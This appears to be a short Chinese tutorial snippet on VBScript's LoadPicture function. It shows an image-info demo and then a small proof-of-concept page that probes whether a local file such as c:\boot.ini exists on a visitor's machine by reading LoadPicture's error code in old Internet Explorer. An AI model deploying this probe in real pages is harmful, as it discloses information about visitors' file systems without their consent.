vbscript LoadPicture函数使用方法与漏洞利用

<title>LoadPicture函数</title>
<form name="frm">
选择图片<input type="file" name="pic" onChange="GetPicInfor()" >
</form>
<script language="vbscript">

Sub GetPicInfor()
dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) ''26.4583是像素值
iHeight = round(objpic.height / 26.4583)
select case objpic.type
case 0
pictype = "None"
case 1
pictype = "Bitmap"
case 2
pictype = "Metafile"
case 3
pictype = "Icon"
case 4
pictype = "Win32-enhanced metafile"
end select
document.write "你选择了图片"&picpath
document.write "<li>长度:"&iHeight&"</li>"
document.write "<li>宽度:"&iwidth&"</li>"
document.write "<li>类型:"&pictype&"</li>"
End Sub
</script>

<form onsubmit="doIt(this);return false">
<input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit">
</form>
<script language="vbscript">
Sub loadIt(filename)
LoadPicture(filename)
End Sub
</script>
<script language="javascript">
function doIt(form) {
try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}
if (result != -2146827856) {
alert(''file exists'');
} else {
alert(''file does not exist'');
}
}
</script>

26.4583 = 2540 / 96